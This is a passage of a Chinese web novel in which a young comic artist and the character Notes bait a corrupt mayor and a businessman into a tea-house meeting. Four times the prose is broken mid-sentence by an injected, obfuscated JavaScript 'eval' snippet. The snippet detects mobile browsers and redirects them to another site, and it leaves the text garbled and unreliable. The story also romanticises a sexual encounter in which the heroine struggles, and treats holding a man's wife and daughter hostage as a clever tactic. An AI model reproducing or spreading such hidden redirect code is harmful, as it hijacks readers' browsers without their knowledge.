男人随即欺身而上,“你心地这么善良……一定会让要出去干活的人先吃饱吧?” 手指搓揉着脸颊旁的一缕碎发,他用一种渴望的目光注视着她,粘稠地上下扫视。 这让庄森芽感觉自身处于蛛网的中心,横看竖看都是牢笼,丝里行间写着完蛋。 而事实证明她的确完蛋了。 这次她实打实地在挣扎,然而就像诺特斯说的,力气小到根本没法让对方辨别到底是抗拒还是欢迎。 他亲了些不该亲的地方,就像在演示过火二字。 被吻住那里的时候,她的脑袋彻底懵掉了,直到最后都没缓过来。 从来没有哪个一小时像今天这个如此磨人而漫长。 168. 习惯 ## 庄森芽目光呆滞地盯着天花板,脑海里空空入也。 叮—— 微波炉的声响唤回神志,她艰难地爬起来,感觉身体都要散架了。 隐约记得自己从十分钟的时候就开始叫,根本控制不住,嗓子都喊哑了,对方却聋了一样,根本没饶过她,激烈到就仿佛这是他们的最后一次。 疯子。她点评。疯狗。 此刻,房间里只有自己一个人,其他与她作伴的,还有各种各样的菜肴,齐全的家电,以及触手可及的娱乐设备。男人在临走之前,筑巢一样把所有可能用到的东西都搬进了卧室里,让她不怎么需要走动就能解决几乎一切问题。 “做这些也休想将功补过……”她抱怨着,一瘸一拐走向微波炉,戴上旁边放着的隔热手套,把里面的蒸鸡蛋羹拿出来,愤愤然关上盖子,“最开始就不应该随便发情!” 聊着聊着又聊到床上去,关键是又赔进去一次,想听的话还是没听见,这感觉别提有多糟心。 印象里,对方唯一还算人话的话只有一句,可又偏偏是把她吊在情欲上时说的。 他说:“我知道你想听什么,等腾滨集团的事情忙完、兑现了所有我曾应允你的承诺之后……” 后面的她没听见,因为被进入的存在感太强了。 纵容了一次之后,这人就开始得寸进尺。 第二次发生得那么随意,甚至都没有一个契机,她自认没有勾引他,更没说什么调情的话,根本不知道他的兴致是怎么被挑起来的。 这让她有点开始担忧将来了,要是总是毫无预兆地来上这么一次…… 不行,得想办法扼杀这种放纵的势头。庄森芽阴沉地想着。 以前也不是没发生过差点滚上床的情况,是怎么遏制的来着……哦,好像不是喊着同归于尽就是动真格地拳打脚踢。 这些她现在都做不出来了,没法对一个尽心竭力提供帮助的人恶言相加,现在诺特斯又是一个普通人,不再是能够自动复原的沙包,她多少是有点下不去手的。 这么看来方法只剩一个,那就是——装木头人。 不出声,不回应,碰她她就装死,不信他还能对一块木头有感觉。 不是说要等大事忙完之后才会说出她想听的那句话吗? 好,那就一切结束之后,看他态度,再让她考虑考虑要不要给他点好脸色看。 本来是风和日丽的一天,现在就这么毁了,她只能病怏怏地躺在床上,像生活不能自理一样,一边咒骂着始作俑者,却又一边吃着那人做的饭。 时间陡然一转,来到了夜晚。 爸妈回来了,发现了卧室中的她,还有过家家一样的锅碗瓢盆各种用具。庄森芽不想解释为什么自己的房间里会有这些东西,于是闭上眼睛装睡。 这个可恶的诺特斯,居然不赶回来收拾这一地的烂摊子,让爸妈都发现了,幸亏没被追问,不然她尴尬都要尴尬死。 这一夜,他没有回来。 再次出现,已经是第二天周六的上午。 出现在卧室里的时候,他裹着一身白色的绒大衣,戴着黑色的羊毛围巾,一身寒气走进来,像个在暴风雪天出去站岗的守夜人。 他把外套和围巾都脱下来,轻车熟路挂进不怎么充实的衣柜里。 坐在电脑前的庄森芽瞥了一眼,没说话,继续看着视频网站上的搞笑段子,就仿佛没注意到他回来了一样。 “我有个好消息。”诺特斯开口,半晌没等到庄森芽回话,于是顾自继续说下去,“证据已经准备得当,证人的证词也已经递交给了警署,接下来就是想办法不打草惊蛇地同时抓捕张简栾和裴正。” 他来到桌边上,身体靠在桌沿,拿起一块橡皮在手里抛上抛下,嘴里念叨着,“这俩人蛇鼠一窝,抓了一个另一个就会跑,所以我们一致认为应该创造一个一网打尽的条件……” 他说到一半,弯下身来,歪着个脑袋盯着庄森芽,“你在听吗?” 她冷着脸,留给他一个坚固的侧颜,“在听。” “喔……那我继续说。”他拉长了语调,似乎别有用意,“最好是同时牵扯到他们两人的事件,才会让他们聚集在一起。机承望的意思是再继续跟踪他们一段时间,但我想出一个更快的办法,虽然不能保证百分之百成功,但可以试一试。” 庄森芽保持沉默,其实她听得很仔细,毕竟这是牵扯到自家公司的大事,但就是不予回应,单纯干听着。 诺特斯:“之前和你说希望《灵月十四》在今天发布,这也是计划的一部分。等一下我会提供给你一段文案,以及一张照片,你发到社交平台上去就好。文案中透露了张简栾和裴正当年收买的食用盐供应商的信息,这两个人看到那个人名之后,肯定会坐不住。” 她听明白他在说什么了,是要她发表一篇检举揭发的文章,以来引起这两个人的注意。 “然后,他们有一定概率会联系你,可能会找你谈话之类的,学生的身份总是不会让人升起什么警惕心。” “是要我去做那个诱饵吗?”庄森芽一只手撑着脸,脸颊上堆起一小块肉,目光还盯着电脑屏幕。 “是。”他肯定地说。 庄森芽斜了对方一眼,一时无言。 她当然乐意去当这个诱饵,如果这能一劳永逸地解决爸妈公司的困境,让她做什么都行。 但是,一想到这个方案是诺特斯提出来的,就有点说不上是什么滋味。 这明显是一步颇为危险的棋,身处其中的人想必不会安全,然而男人却那么言之凿凿地把她推了出去,让人怀疑他是否缺少了一些应有的珍重。 庄森芽心里纠结着这点别扭的情绪,表面上却是什么也没显露出来,依旧冷着一张脸,“行啊,那你把文章发我。” 诺特斯不着痕迹地打量了她一瞬,没说什么,从一旁取来画纸和铅笔,在上面唰唰写了起来。 她斜目盯着他写字,握着笔杆的手修长而有力,指尖的缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867860|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隙恰到好处,落笔时手掌是不动的,行云流水地向一侧平移,一段龙飞凤舞的话就这么落成了。 一想到昨天也是这只手把她撑开,庄森芽就不由得移开了视线。 诺特斯五指抵在纸面上,将它转向另一个人的方向,“主要就是这句话,其他的你自由发挥。照片我先传到电脑上,再拷贝进你的手机里。” 明明可以直接在社交账号上发给她,却要通过这么曲折的方式,看样子是怕在网络上留下什么痕迹。 庄森芽开始好奇到底是怎样的照片了。 她看了眼写在纸上的那段话,感觉没什么特别的,内容是:「孙朴孙先生会站出来替我讨回公道,一切的冤情都将得到昭雪。」 “孙朴是谁?”她问。 “食用盐供货商,当年就是这个人收了张简栾和裴正的封口费,向市面上售卖掺杂了过量亚硝酸盐的食用盐,导致许多家庭集体食物中毒。”诺特斯解释说。 “那让我发这段话的意思是,他愿意协助我们澄清当年的真相?” “是的,他很愿意。”他露出一个笑容,看上去很暖心,“我把他老婆和小女儿请到机承望那里去做客,孙朴就毫不犹豫地答应了协助我们。” 等等……这是绑架勒索吧!? “呃……我不打算对你们的做法指手画脚,但最好别把自己搞进局子里去,我可没有救你出来的手段。”庄森芽说。 “在担心我?”诺特斯盯着她问。 “怎么可能。”她开始专心致志地在手机上编辑文字,思考着怎么润色一下即将发表出去的小作文。 然而,就在此刻,一片阴影笼罩了下来。 膝窝被一条胳膊卡住,后背贴上一只宽大的手掌,顿时整个人都腾空了。庄森芽一惊,紧接着落进了某人的怀里。 对方似乎偏爱这个姿势,总是喜欢坐着将她抱在腿上,好像她是件乐器或者大型的毛绒玩偶一样。 “那边不是有床吗?”她不满地皱着眉毛。 “这里是我的专座。”他说得义正辞严。 “那我去床上待着……”说着就要从男人的怀里挣脱出来,然而下一刻却被拦腰抱了回去,截堵在胸膛和桌子之间。 “你今天对我好冷淡。”他埋在她的脖颈处,声音闷闷地传出来,“我操忙了一整天,晚上也没睡,为你忙前忙后解决问题,不求什么实质的回报,可是到头来连一句夸奖都没有。” 这说的她无话反驳,因为起码在这件事上,她其实一直很感激诺特斯的帮助与付出。 虽然昨天决定了要冷脸相迎,然而这一刻却有点绷不住了。 她陡然转过上身,两只手扶正对方的脸,气势汹汹地碰了一下对方的嘴唇,“这样能让你安静一点吗?我要忙正事了。” 诺特斯的模样愣愣的,仿佛怎么也没料到是这样的奖赏。 “……嗯。”他带着鼻音回应。 抱着自己的人老实下来了,庄森芽没想到这个方法居然奏效。 169. 上钩的鱼 后知后觉这好像是自己第一次主动献吻,脸颊有点燥热,连忙转过头去,抓着鼠标漫无目的地忙碌起来,把网页关了又打开,频繁地刷新桌面仿佛能刷出什么奇迹。 诺特斯俨然变成了一个挂件,安安静静地抱着她,温热的嘴唇抵在肩膀后方。 身后的触觉让人有些在意,但她不打算节外生枝地再去挣脱了,反正现在这个样子还算安适,男人的手脚也很老实。 于是定了定神,在网页上打开社交媒体,把想好的话写了上去,以作者青沐的身份发表,大致意思就是:父母的光曙公司经营还是苦不堪言,她无法坐以待毙,从今天开始要奋起反击,虽然对家背后有巨大的靠山,她也不会退缩。她已经联系到了关键的证人孙朴先生,孙先生会帮她向不公对抗。 诺特斯把刚才说好的图片传到了电脑上,庄森芽看到那是一张模糊的收据,关键信息隐藏了,但若有若无地露出‘腾滨集团’的字样。 加上这张配图,她把文章发表了出去。 现在,是时候该发布漫画了。 早就在狐尾平台上上传了最终篇章,只要点击发布按钮,《灵月十四》就彻底完结了。 她毫不犹豫地按了下去,【正在上传】的提示转着圈,半晌后弹出了一个【成功上传】。 结束了! 看到这四个字的时候,她有一种漫长的旅程终于走到终点的感觉。 这部漫画可谓命途多舛,也牵扯众多。 原本是为了补贴家用而临时起意的作品,借用了高中时给裴佑哲画的冒险漫画,又因为这点被对方拿去当把柄纠缠。 明明只是一部没有多少人关注的普通作品,却牵扯出一件最不可思议的事情,将一个不可能的人带到了她的身边。 后来自己的真实身份被曝光,漫画经历了下架再上架的过程,现在居然变成了对抗敌家的手段之一。 它实在承载了太多。 想到这里,她不禁有些感慨,“真没想到,我都画这个漫画快一年了。” “我们也相识三个多月了。”诺特斯抱着她说。 庄森芽扭过身子,“才三个多月?” 她感觉都快被缠上半辈子那么久了。 诺特斯勾起嘴角,深切地注视着她,“你认识我的时间更长一点。” “哦……说的也是。” 从漫画还在构思阶段她就知道诺特斯这个人的存在了,不过‘正式见面’是发生在这学期刚开始时候的事情。 当时怎么也想不到,自己居然会和这个男人发展成现在这样的关系…… 不对,他们还什么都不是呢。 “漫画已经发表出去了,那篇文章也发布了,接下来我应该做什么?”她还没忘记自己诱饵的职责,十分主动地问。 “等待裴佑哲联系你吧。” 条件反射地皱起眉头,这个名字在她心里已经荣获了一个不那么讨喜的地位,就像最初的诺特斯那样,“为什么会是他?” “就像我们想用一个无害的诱饵钓他们上钩,张简栾和裴正看到社交媒体上那篇文章之后,也会想要不着痕迹地联系上你,引你出去和他们见面,裴佑哲是个再合适不过的中间人。” “他是裴正的儿子,从这方面考虑,我可不一定会答应见他。” “当然,所以他打电话找你的时候,一定是因为别的事约你出来。” “……”庄森芽陷入沉思。 是不是真的如诺特斯所说的这样,只能等时间来验证了。 那之后的两天还算宁静。 投入水下的震荡没那么快激起涟漪,这两天唯一值得关注的,只有网友针对漫画结局和那篇文章层出不穷的讨论。 [这下彻底坐实了,对家指的就是腾滨集团,可以说是公开宣战了吧。] [怎么看出来的?] [漫画主人公的原型是谁,经营的地产公司后来改名叫什么,还有结局的大反转黑白颠倒,你品,你细品。] [谁能告诉我对家的靠山是指谁?] [别问,小心被顺着网线抓走谈话。] [说到漫画,我已经彻底倒向反派的一方了,以后请叫我辛格大人的狗。] [什么反派?没礼貌!辛格大人最初就是满怀善心劫富济贫悬壶救世的大好人,是你们有眼不识泰山。] [没人觉得这结局太突然了吗,以前就是个正经的讲普通人抗争的漫画,主角尤梭性格什么的也很典型,反派也是传统的恶人形象,可是一点铺垫预兆都没有,结局就这么反转了,让人怀疑是不是临时起意。] [没觉得突然。没铺垫又怎么了?爱看。以前讲正剧的时候我呼呼大睡,结局反转我翻来覆去反复观赏,就喜欢意料不到的剧情。] [复议,尤梭吃瘪把我看爽了,爱看一些小鬼绷不住正义的假面掉马的回合,配合现实映射食用更香。] [楼上的你小心被那家人起诉。] [说真的,超爱最后正反颠倒的情节。] [辛格大人,啊啊,辛格大人您为什么只是一个漫画人物,信女愿意用楼上楼下一辈子单身交换和大人见一面的机会。] 看到最后这条逆天发言,庄森芽扬了扬眉。 她已经高强度冲浪好几个小时了,然而还是看得津津有味,根本停不下来,放下手机是对网友们才华的不尊敬。 不过,漫画结局居然给诺特斯招来了这么多迷妹,这她倒是没有想到,原本以为能为他洗脱恶人罪名已经很不错了,没想到效果有一点过头。 而且…… 她犹豫了半晌,一句「他是真实存在的」敲了又删,最终想了想,还是放弃了回复。 这个秘密还是只有她知道就好,没有公开的必要。 虽然很想让人知道就是了,她也不知道这是什么心理在作祟,但偶尔,看着那个男人的时候,她会想,看啊,那是她创造的,独有一份的,那般与众不同的灵魂。 想让世界看见,又不想与世界分享。 一些卑小的人性在隐隐作祟。 漫画发布后的第一天是风平浪静的。 第二天亦如此。 直到第三天,十二月十五日,星期一,一通被等待已久的电话打了进来。 看到屏幕上的联系人的时候,庄森芽一下子从床上跳了起来,“来了!” 她像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她抓住诺特斯的胳膊,摇晃着,“为什么我有点兴奋,明知道这是个陷阱。” 诺特斯任她摆弄,露出一个了然的笑容,“因为掌控局势的是你。” “我得赶快收拾一下了,和他约了一个小时之后就要见面。” 说着她就要去找衣服穿,然而这时候,又一个电话打了进来。 庄森芽盯着来电显示上的那个名字,感到有些意外。 “咦……她怎么会给我打电话?” 狐疑地接了起来,这次的口吻是货真价实的不确定,“玥诗?怎么了吗?” 听筒中传来一个温柔的女声,“森芽,刚才佑哲给你打电话了吧。” 她怎么知道……难道她刚才在裴佑哲的身边吗? 庄森芽对对方的记忆仍停留在‘一周情侣’总结会的那一刻,那天,石玥诗和裴佑哲突然当众公开情侣关系,那之后,自己就和这个半学期没见过几面的舍友不再有联系了。 这个节点上打来电话,石玥诗是来查岗的吗? 170. 默契没养好就老老实实把话说清楚…… 不想再因为那个学生会主席而和自己的舍友产生什么误会,庄森芽立刻澄清,“呃,是打了个电话,我也挺意外他突然打电话过来哈哈,平时我们都没什么交集——” “不要去。”对面的人蓦地打断她说。 “嗯?什么?” “不要去见他。” 以为对方是在斥退她,让她离裴佑哲远一点,庄森芽连忙解释说:“玥诗你误会了,我这次是和他见面是为了呃……彻底断绝往来!对,我保证以后绝对不再打扰你们。” 说到这她自己都可怜自己,哪是她想要去干涉别人的感情,分明是被人缠上了。 对方似乎发出了微不可闻的叹息,紧接着说道:“他也带我去过那个茶室,就在前不久,起因是我不甘心被他分手,拿出一些自认他无法拒绝的条件逼迫他。” ……啊。啥? 这俩人……分手了?什么时候的事!? “如果你赴约的话,就会发现在那里等你的不只是他一个人。”石玥诗的声音听起来有些冷冰冰的,似乎还带着些怨恨,“当你威胁到他的利益时,他会动用一切手段逼你就范。那个茶室不是你这样的单纯的小孩该去的地方。” 说什么小孩……她们只不过差了一岁而已。 不过听石玥诗的意思,她在那个茶室经历了一些不太好的事情,庄森芽不由得问道:“那你没事吧,玥诗?” 对面的人顿了顿:“……你现在还有空关心我吗。” 想着对方有可能透露什么有用的信息,庄森芽追问:“茶室里发生了什么吗?” “……”石玥诗沉默了很久,久到庄森芽以为电话已经挂掉了。 “喂?” “总之……你不要去。”她声音听起来有点破碎,像是刚才的追问触碰到了尚未愈合的创口。 看来是不想说。 到底发生了什么,让石玥诗连半个字都不肯透露? “我可能还是得去一趟。”庄森芽说,“不过你放心,我不会有事的。” “我不是在关心你,只是想给你个提醒。”她的声音又变得平静冷漠,似乎是自从得知庄森芽和裴佑哲高中时期的往来之后,她对她的态度就冷淡了许多。 “我知道了,谢谢你。”顿了片刻,又说,“玥诗,期末考试结束之后我们一起吃个饭吧,半学期过去了,我们还一次饭都没吃过呢。” 她展现出示好的态度,收获了对面片刻的沉默。 “……你能活过今天的话,可以。”石玥诗挂掉了电话。 放下手机,庄森芽也不由得陷入思绪。 甚至让石玥诗不得不亲自打一个电话过来提醒,看来此行凶险至极。 也更证明,大鱼上钩了。 越是危险,就越是他们想要看到的局面。 庄森芽马不停蹄继续刚才的活计,在衣柜里翻找着衣物,不打算穿得多么惊艳,只求方便行动,万一遇上了什么情况,跑她还是会的。 “是不是也要通知机市长那边?”她问诺特斯,“假如真的能把张简栾和裴正引出来的话,这可是一举拿下他们的好时机。” “逮捕市长事情不小,最好是确认这两人在场,再通知刑警出动。”诺特斯回答说,“到时候我来负责和机承望那边沟通,他再与警方接洽。” 庄森芽的动作顿了顿,回头问他,“你要和我一起去?” 诺特斯半躺半坐地靠在转椅的靠背上,金色的眼珠扫了她一眼,“不然呢。” “我以为我要单独行动。” “你是这么想的?” “你也没说你会一起。” “我以为这是默认的。”经这一番交流,诺特斯模样变得有些意外,声音算得上是诧异了,“事到如今还认为我会撇下你不管吗。” 她无言,移开视线。 他几乎皱起眉来,“你真这么以为?” 她沉默回过身去,继续翻找衣物。 “……你以前是不是经历过什么?”诺特斯敏锐地觉察,身形一顿,站起来接近,从背后轻轻抱住她,“偷偷塞给暗恋对象的情书被他当众宣读,或者被信任的老师向父母告发了学校的斗殴事件之类的。” “哪有……”这人越说越离谱了。 他用手指怜惜地蹭着她的脸颊,音色渐低,“森芽。” “嗯?” “以后如果没什么特殊说明,我都是和你一起的。” 心底的某处被触动着,连声音也软化,“……嗯。” 好吧,原来最开始只是她的误会。 以为没有得到的珍重,实际上一早就在那里,只是没有被看见,或者说不太敢相信它存在。 “不过……”诺特斯放开了她,侧靠在衣柜旁边,肩膀和头同时抵在柜门上,站得歪斜,“原来你之前都当成是单人任务,就这样还敢接下,真是勇气可嘉。” 把对方的话听成了嘲讽,那股温情的意味一下子散了,庄森芽当即反驳,“你当时的说法根本就是……完全指派给我了啊,说得好像所有人都在等我完成这个‘诱饵’的使命,那我哪还有什么拒绝的余地。” “是我没把话说明白,我的不对。”他退让。 “……”庄森芽噘噘嘴,一下子没脾气了。从衣柜里找出一件外套,边上下打量着,边问道,“不过,我们两个人一起去真的行吗,会不会引起对方的警觉?” “没关系,我会隐身跟着你的。” 庄森芽手上的动作又是一顿,再度转头,“你什么?” 诺特斯笑眯眯的,不说话。 她困惑地眨眼,“你刚才说隐身?” “嗯哼。” “你不是——”她有点反应不过来,“——你不是已经失去能力了吗?” 诺特斯伸手,往自己的口袋里摸,拿出了一个黑色的盒子,还未等打开,缝隙里就透出了莹莹绿光。 敞开盖子,一瞬间,射线一样的光芒四溢而出,将整个房间变成了绿荫浓郁的色调。 盯着那熟悉的块状晶体,庄森芽一时哑然。 “哈兰给我的正式告别礼。”诺特斯语气带着些开心的意味,笑容很是狡黠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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诺特斯一顿,转过身来,十分突兀地从领口剥开自己的衬衫,露出一片后背上的肌肤,几道抓痕在上面十分醒目,“就算有了石剑醇,你留下的痕迹我也再不会抹去。你看,前几天的还——” “这个不用留着啊!”她一下子脸就红了,大声打断他,把衬衫拉了上去。 诺特斯看起来心情不错,但嘴上却说着,“好吧,你要是真的介意,事情结束之后我就全数上交,给纳迪娅保管,这下放心了吧?” 她别扭地转回头去,嘀咕着,“留一点也不是不行……” 来来回回,翻来覆去,主意定了又更改,表面上摇摆不定,其实又乐在其中。 挑了深灰色的短款棉衣外套,又套上一条同色系的直筒裤,打底的薄毛衣选了纯黑色,所有色调主打一个庄重深沉,她要告诉所有人今天的她不好惹。 171. 人型管制刀具 准备得差不多了,正要出门打车,然而诺特斯却带着她往地库走。 庄森芽:“干嘛?” 诺特斯:“开车过去。” “你哪来的车?”她不解。 这家伙在上茂市连个定居点都没有,怎么会有车。 “你老爸的车。” “哦。”她了然。而后反应了一下,察觉出不对劲,顶着寒风继续追问,“你开我爸的车?” “嗯。” “你为什么开我爸的车?” 诺特斯打开通向地库的玻璃门,抵着门让她先进,“因为他把车钥匙给我了。” “他为什么把钥匙给你?”庄森芽疑惑着,声音回荡在下行的楼梯间中。 “因为他觉得我这些天可能会比较需要用车?”诺特斯不太确定地回答。 两人来到了地下车库负一层,庄森芽依然处于诧异之中,“那他今早开谁的车去上班的?” 诺特斯找到了庄洪成的车,开锁,坐上了主驾驶,“开我给他买的车。” 庄森芽坐上副驾驶,惊诧从始至终没有离开她的脸,“你给我爸买了辆车?” “啊。”他打着了发动机。 她不理解,“你干嘛不直接自己给自己买一辆,还折腾这么一趟……” 诺特斯系好安全带,拔掉了副驾驶带扣上的小铁片——这玩意常年在这里插着不拔,因为市区开车一般都很慢,总是坐在副驾驶的祁欢不喜欢系安全带,不系又会响报警音,索性就用一个铁插扣叫它闭嘴。 诺特斯伸长了胳膊替庄森芽系好安全带,而后这才回答,“我还是开旧车吧,磕了碰了不心疼。” “……?” 把车上了锁,他侧过头来,笑着说:“我的驾驶技术以前是在哪学的,你最清楚不过。在这边,我还没怎么适应呢。” 庄森芽愣了两秒。 下一刻,她疯了一样解安全带。 “我要下车!!” 莱王星那种地方,几乎就没什么平坦的大道,越野车过去都得掂量掂量,能在那里开车的都是狠人。 她可不想坐什么战地车,顿时打起了退堂鼓。然而,哪成想旁边的人一下子捏住了她的手腕,十指交握,就这么挂上了挡。 “放心吧,真的要是发生了什么事故,只要你别松开我,我就能保证我们两个人安然无恙。”诺特斯露出一个使人安心的笑容。 “不是,你就非得以出什么事故为前提吗,就不能平平稳稳开呜啊——!” 她话还没说完,车就已经窜了出去。 诺特斯单手抹着方向盘,混乱中没事人一样说:“这路可真平坦,给点油就跑起来了,不习惯。” “你快点习惯一下!算我求你!”庄森芽闭着眼睛喊。 每到这个时候,她就后悔高中毕业之后为什么不去考驾照,导致三番五次在别人的副驾驶座上心惊肉跳。 这次也是,坐裴佑哲的跑车的时候也是。 不过,还好,最终他们总算是平安离开了地下车库。 昨夜下了一场小雪,路面有些湿滑,车辆开上大道之后,驾驶风格也规矩了许多。 但交握在一起的手并没有松开,就像是真的担心会出什么意外、而诺特斯能救她一命似的,庄森芽半点放开的意图都没有。 茶室离家并不远,开车过去大概十五分钟,加上拿着导航的她指错了一次路,二十分钟后,车辆到达了目的地附近。 这是个带院子的建筑,隐蔽性很强,院门口有站岗的门卫,看起来并不是随便什么人都能进去。 为了不打草惊蛇,两人决定把车停在旁边的停车场,再由庄森芽‘一个人’走进去。 停车的时候,司机的动作驾轻就熟,毫不拖泥带水,一把轮加一个甩尾结束。停稳后,车身笔直,简直可以打一百分。 唯一的问题是……他是一头扎进去的。 庄森芽虽然没开过车,但坐车的经验不少。她下了车,沉默地看着唯一屁股冲外的老爸的车,委婉地开口,“你没觉得哪里不对?” 诺特斯关了车门,上锁,毫无自知地问:“哪里?” 算了,能把人完整地送过来已经很好了,其他的也不敢强求,权当是文化习惯差异。 “……没事,走吧。” 来到了茶室的院门口,站岗的门卫看到庄森芽,主动询问着信息,“是庄小姐吗?” “是的。” “请到这边来,配合一下搜身。”门卫将人引导向凉亭的方向,那里站着一个穿着得体干练的女人,看起来也是这里的工作或者服务人员。 “还要搜身?”庄森芽惊讶道。 “这是必要程序,请配合。” 嚯,她这是到什么地方来了,不知道的还以为要去见什么国家领导人。 但没有当面挑刺的打算,她的目的不是来这里与门卫发生什么矛盾。于是从善如流走向凉亭,向过机场安检一样张开自己的双臂。 看着细致地检查各处的女人,庄森芽心想:你就搜吧,随便怎么搜,检查得再仔细,也是绝对察觉不到我真正的后手的。 “请打开背包我看一眼。”穿着干练的女人说。 “包里有什么东西还要看?” “是的。”她一句废话不多。 表现出不太情愿的样子,庄森芽打开了自己的挎包,将里面几样东西摊开来:手机、充电宝、纸巾包、唇膏,还有小区的门禁卡,她有点庆幸一早就把录音笔交给了诺特斯。 然而,虽然包里半点有威胁性质的东西都没有,女人却还是得寸进尺,“请您把手机暂留在这里。” 庄森芽彻底按捺不住自己的脾气了,一下子扣紧自己的斜挎包,“不是,连手机也要没收?你们这是什么地方,正经吗?别是什么拐卖人口的黑店吧?” 女人无言地盯着她,就仿佛她的发作是在无理取闹一样,直到控诉结束之后,才慢条斯理地解释说:“这是茶室的规矩,庄小姐,我们这里的理念是‘静’,任何有可能打扰到‘静’的外物都是不允许进入的。您如果想进去的话,就必须先摒除这些外物。” 说的那么煞有介事,不就是怕她进去了录音录像之类的? 庄森芽往一片虚空的地方看了一眼,在那里,一个只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴佑哲摆弄着一旁的黑砂碳炉,将茶叶撒进去,拿铁钳拨弄炭火,调节着火候。 “上次,外国语舞会那晚,我叫你删掉的那篇社交平台文章,你并没有删。”他目光并未看向对面的人。 庄森芽挠了挠自己的后脑,语气随意,“不是说不聊这个吗?” 裴佑哲看了她一眼,放下火钳,从另一边的柜子中取了两只黑底白纹的茶杯过来,“除此之外我们还有什么好说的?” “你要是想聊这个,那我走了。”她刻意摆出离去的架势,从座位上腾一下站起来,然而还没等迈开脚步,却发觉茶室的入口已经被堵死了。 不知何时出现了两个黑色西装的高壮男人,身高看起来都要接近两米了,浑身的肌肉扎实无比,不是健身房出来的绣花拳脚,一看就是专业的打手。他们把守在隔间门口,一副苍蝇都不打算放出去的样子。 “这是什么意思?”她朝裴佑哲明知故问。 “把话说完再走。”他语气平淡,却有种不可违抗的意味。 172. 含沙射影 庄森芽环视了一圈茶室内部,在场的人除了两个西装男之外,就是裴佑哲和她,还有一个到处闲逛的诺特斯,以及棋盘桌旁那个自打她进门就一声不吭的男人。 那人到现在还紧盯着棋盘,一副两耳不闻窗外事的模样,凹陷的脸颊能看出岁月的痕迹,整个人都透出一种精明的气场。 诺特斯凑了过去,看了眼棋盘上的落子,转头对庄森芽说:“这人是张简栾。” 她皱皱眉。 难怪外面搜查得那么严格,原来是当今上茂市市长驾临了这个茶室。 不过这也彻底坐实了裴家人和市长的关系,裴佑哲能和对方下棋,就代表两家人的关系不简单。 可是,张简栾都在这里了,裴正呢? 为什么他儿子出场了,市长也来了,这种场合裴正却不在这里? “只有张简栾一个人在的话,抓捕计划就没办法实施了。”诺特斯离开了棋盘桌,朝她靠拢,“我去看看裴正是不是在其他的隔间,录音笔放在你这里,帮我拖延一下时间。” 听到对方的话语,庄森芽又坐回了裴佑哲的对面。 诺特斯在她身后一晃而过,庄森芽将手臂背在身后,悄悄将他放在那里的录音笔收进了袖子里,然后又放进口袋。 诺特斯离开了,隔间只剩她一人和对面的人周旋。 庄森芽这回坐得很板正,就像是知道自己插翅难逃的困兽,摆出了一副委曲求全的姿态。 遥想起石玥诗给她打的那通电话,小心翼翼地问道:“我知道了,我不走就是了。你……不会让那两个大块头动手做什么吧?” “……”裴佑哲没回应。 她故作紧张地紧拳头,吞了口口水,开始为自己的行为辩解,“那篇文章没删是因为……我手滑删错了。” 他看起来并不相信她的鬼话,“是吗,那在你发下一篇文章的时候,也没有注意到上一篇没删掉吗?” 庄森芽尴尬地开口,“我只是觉得太可惜了,好不容易攒了那么多的回复和转发,说不定被哪个大佬注意到了,我家公司的困境就能够解决了。” “我不是说了删掉之后,我会帮你的吗。”裴佑哲低声说着,模样十分偶现地表露出惋惜,不过转瞬即逝,“可现在已经没有办法了。” 庄森芽不懂他在说些什么,为了拖延时间,强行继续话题,“我知道我那两篇文章可能对你父亲的集团影响不太好,可是我半个‘腾滨集团’的字眼都没有提到,是那些网友们自己瞎猜的……” 她话说到一半,裴佑哲把自己的手机从桌面上推了过来。 屏幕上显示的是一张截图,看起来是一张收据。 庄森芽对此表示很眼熟,似乎就是她最后发表的那篇社交平台文章的配图。 据诺特斯说,这是一个张简栾和裴正绝对印象深刻的图片,是他们卖通食用盐供货商孙朴的证据,也是他们将食品安全事件嫁祸给机承望的证据之一,是这两个人绝对想要让其消失的收据。 “这张图片你是从谁那里拿到的?”裴佑哲问她。 余光中,她隐约感觉到棋盘桌旁的男人抬起了头来。 市长张简栾终于有了什么反应,在关注着这边的谈话。 “呃……是一个男人给我的。”她说。 “谁?” “你应该见过他。” 裴佑哲微微皱起眉头,“如果你指的是孙朴的话,我并没有亲眼——” “佑哲。”这时候,一直沉默的男人出声打断了他,像是个严厉的提醒,“嘴上留神。” ……好可惜。 庄森芽捏着袖子里的录音笔,心想,就差一点,裴佑哲就要说出和孙朴有关的内容了,不管什么,说多错多,总能有成为证据的一部分。 这个市长张简栾还真是谨慎,明明她已经被搜过身了,连手机都没带进来,却还是这么提防。 裴佑哲垂下眼睛,像知道自己说错了话一样,一时不再开口。 